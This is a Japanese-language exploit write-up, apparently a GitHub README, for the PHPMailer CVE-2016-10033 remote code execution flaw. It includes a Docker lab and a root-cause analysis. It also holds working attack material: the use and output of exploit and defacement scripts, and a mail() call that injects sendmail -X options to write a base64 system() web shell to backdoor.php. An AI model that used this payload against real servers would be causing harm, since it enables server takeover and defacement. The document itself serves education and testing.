
PHPMailer < 5.2.18 リモートコード実行
PHPMailerは、世界で最も人気のあるトランスポートクラスであり、世界中で推定900万人のユーザーがいます。ダウンロードは毎日かなりのペースで続いています。WordPress、Drupal、1CRM、SugarCRM、Yii、Joomla!など、多くのオープンソースプロジェクトで使用されています。
PHPMailerのバージョン5.2.18より前には、リモートコード実行(RCE)につながる可能性のある脆弱性が存在します。PHPMailerのisMailトランスポートにおけるmailSend関数は、Senderプロパティが設定されていない場合、リモートの攻撃者がmailコマンドに余分なパラメータを渡し、巧妙に細工されたFromアドレス内の"(バックスラッシュ+二重引用符)を介して任意のコードを実行できる可能性があります。
テスト用の脆弱な環境をセットアップするには、Dockerがインストールされている必要があります。次のコマンドを実行するだけです:
docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033
これにより、ホストの8080ポートで脆弱なWebアプリケーションが起動します。

このターゲットをエクスプロイトするには、次のコマンドを実行するだけです:
./exploit host:port
この脆弱なイメージを使用している場合は、次のコマンドを実行できます:
./exploit localhost:8080
エクスプロイト後、backdoor.phpというファイルがWebディレクトリのルートフォルダに保存されます。そして、エクスプロイトはバックドアにコマンドを送信できるシェルを提供します:
./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell>
これでシェルが手に入ります。もう1つのエクスプロイトもあります。これは別の使用例を示しています。
./deface.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Placing your message in the server
[+] Job done, exiting
そして、再度ページにアクセスすると、次のように表示されます:

このcommitより前のclass.phpmailer.phpでは、特定のシナリオにおいて、送信者の電子メールアドレスの特殊文字に対するフィルタがありません。この欠陥は、こちらのmail関数を介してリモートコード実行につながる可能性があります。
コードを分析すると、mailSend()関数にはフィルタがありません
$params = null;
//This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
if (!empty($this->Sender)) {
$params = sprintf('-f%s', $this->Sender);
}
$this->Senderは$params変数に直接追加されます。$params変数はvalidateAddress()関数でフィルタリングされますが、RFC 3696仕様を使用しているため、問題を引き起こす特定の文字が許可されます。この場合、引用符です:
バックスラッシュ文字を使用した引用に加えて、通常の 二重引用符文字を使用して文字列を囲むこともできます。たとえば
"Abc@def"@example.com
"Fred Bloggs"@example.com
は上記の最初の2つの例の代替形式です。これらの引用形式は 推奨されることはほとんどなく、実際には一般的ではありませんが、 前述のように、電子メールアドレスを処理するアプリケーションでは サポートする必要があります。特に、引用形式は他のシステムや コンテキストからの移行に関連するアドレスの文脈でよく出現します。 そのような移行時の要件は依然として発生するため、ユーザー提供の 電子メールアドレスを受け入れるシステムは、そのアドレスがレガシー システムに関連付けられているかどうかを「知る」ことができず、 アドレス形式を受け入れて電子メール環境に渡す必要があります。
必要であれば、RFC全体をここで読むことができます。また、PHPバージョンが5.2.0より古く、PCREがインストールされていない場合、validateAddress()の$patternselect変数はnoregexに設定されます。これにより、入力は正規表現チェックを回避できるようになります。次の小さな検証のみを通過します:
case 'noregex':
//No PCRE! Do something _very_ approximate!
//Check the address is 3 chars or longer and contains an @ that's not the first or last char
return (strlen($address) >= 3
and strpos($address, '@') >= 1
and strpos($address, '@') != strlen($address) - 1);
次に、コードフローはmailPassthru()関数に進みます。次のコードが示すように、safe_modeで実行されている場合、この欠陥に対して脆弱ではありません:
//Can't use additional_parameters in safe_mode
//@link http://php.net/manual/en/function.mail.php
if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
$result = @mail($to, $subject, $body, $header);
} else {
$result = @mail($to, $subject, $body, $header, $params);
}
しかし、safe_modeで実行されていない場合、特別なパラメータがmail()に渡され、運が良ければ、選択した場所に書き込みたい内容を含むファイルを配置できます。
PHP mail()関数のエクスプロイトは新しいものではありませんが、今もなお有効であり、人々は今でも使用しています。その仕組みを説明するために、mail()関数がどのように定義されているかを見てみましょう:
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )
さまざまな結果を得るためのエクスプロイト方法がいくつかありますが、ここではリモートコード実行(RCE)を得るための5番目のパラメータのエクスプロイトに焦点を当てます。$additional_parametersパラメータは、電子メールを送信するように設定されたプログラムにコマンドラインオプションとして追加フラグを渡すために使用されます。この設定はsendmail_path変数によって定義されます。
PHP公式ドキュメントからのセキュリティノート:
additional_parametersパラメータは、sendmail_path設定で定義されたメール送信時に使用するプログラムに、コマンドラインオプションとして追加フラグを渡すために使用できます。たとえば、sendmailを-fオプションとともに使用する場合に、エンベロープ送信者アドレスを設定するために使用できます。
このパラメータは、コマンド実行を防ぐために内部的にescapeshellcmd()によってエスケープされます。escapeshellcmd()はコマンド実行を防ぎますが、追加パラメータの追加は許可します。セキュリティ上の理由から、シェルコマンドに不要なパラメータが追加されるのを避けるために、ユーザーがこのパラメータをサニタイズすることをお勧めします。
注入できる追加パラメータを考慮すると、この欠陥をエクスプロイトするために-Xを使用します。-Xパラメータの詳細:
-X logfile
Log all traffic in and out of mailers in the indicated log file. This should only be used as a last resort for debugging mailer bugs. It will log a lot of data very quickly.
知っておくべき他の興味深いパラメータも存在します:
-Cfile
Use alternate configuration file. Sendmail gives up any enhanced (set-user-ID or set-group-ID) privileges if an alternate configuration file is specified.
および
-O option=value
Set option option to the specified value. This form uses long names.
そして-Oオプションについては、QueueDirectoryが最も興味深いオプションです。このオプションは、メッセージをキューに入れるディレクトリを選択します。
パラメータとオプションの全リストを読みたい場合は、man sendmailを実行するか、ここでオンラインで読むことができます。
この情報と、他のパラメータの少なくとも1つを制御できることを基に、ホストをエクスプロイトできます。以下は、エクスプロイトを成功させるための手順です:
$additional_parametersともう1つのmail()パラメータを制御するwebroot以下の任意のもの(他のシステムでは/var/www/html、この例では/www)になります。|を加えた単純なsystem()ペイロードを使用しています。-Xオプションはログファイルを書き込むことを覚えておいてください。ログ情報の中にPHPペイロードが含まれ、指定したディレクトリに書き込まれます。脆弱なPHPコードの例:
$to = '[email protected]';
$subject = '<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>';
$message = 'Pwned';
$headers = '';
$options = '-OQueueDirectory=/tmp -X/www/backdoor.php';
mail($to, $subject, $message, $headers, $options);
上記のコードを実行すると、/www/backdoor.phpにログファイルが作成されます。これがこのエクスプロイトの本質です。
この例で使用されるペイロードは以下のとおりです:
<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>
この欠陥を見つけるための簡単な1コマンドの方法が欲しいですか?この魔法のgrepコマンドを覚えておいてください!
grep -r -n --include "*.php" "mail(.*,.*,.*,.*,.*)" *
このリポジトリに対して実行すると、次の結果になります:
src/class.phpmailer.php:700: $result = @mail($to, $subject, $body, $header, $params);
この脆弱性はDawid Golunskiによって発見されました。
このプログラムまたは以前のプログラムは、教育目的のみです。許可なく使用しないでください。通常の免責事項が適用されます。特に、これらのプログラムによって提供される情報または機能の直接的または間接的な使用によって引き起こされた損害について、私(opsxcq)は責任を負いません。著者または任意のインターネットプロバイダは、これらのプログラムまたはその派生物の内容または誤用について一切責任を負いません。これらのプログラムを使用することにより、これらのプログラムの使用によって引き起こされたいかなる損害(データ損失、システムクラッシュ、システム侵害など)もopsxcqの責任ではないという事実を受け入れるものとします。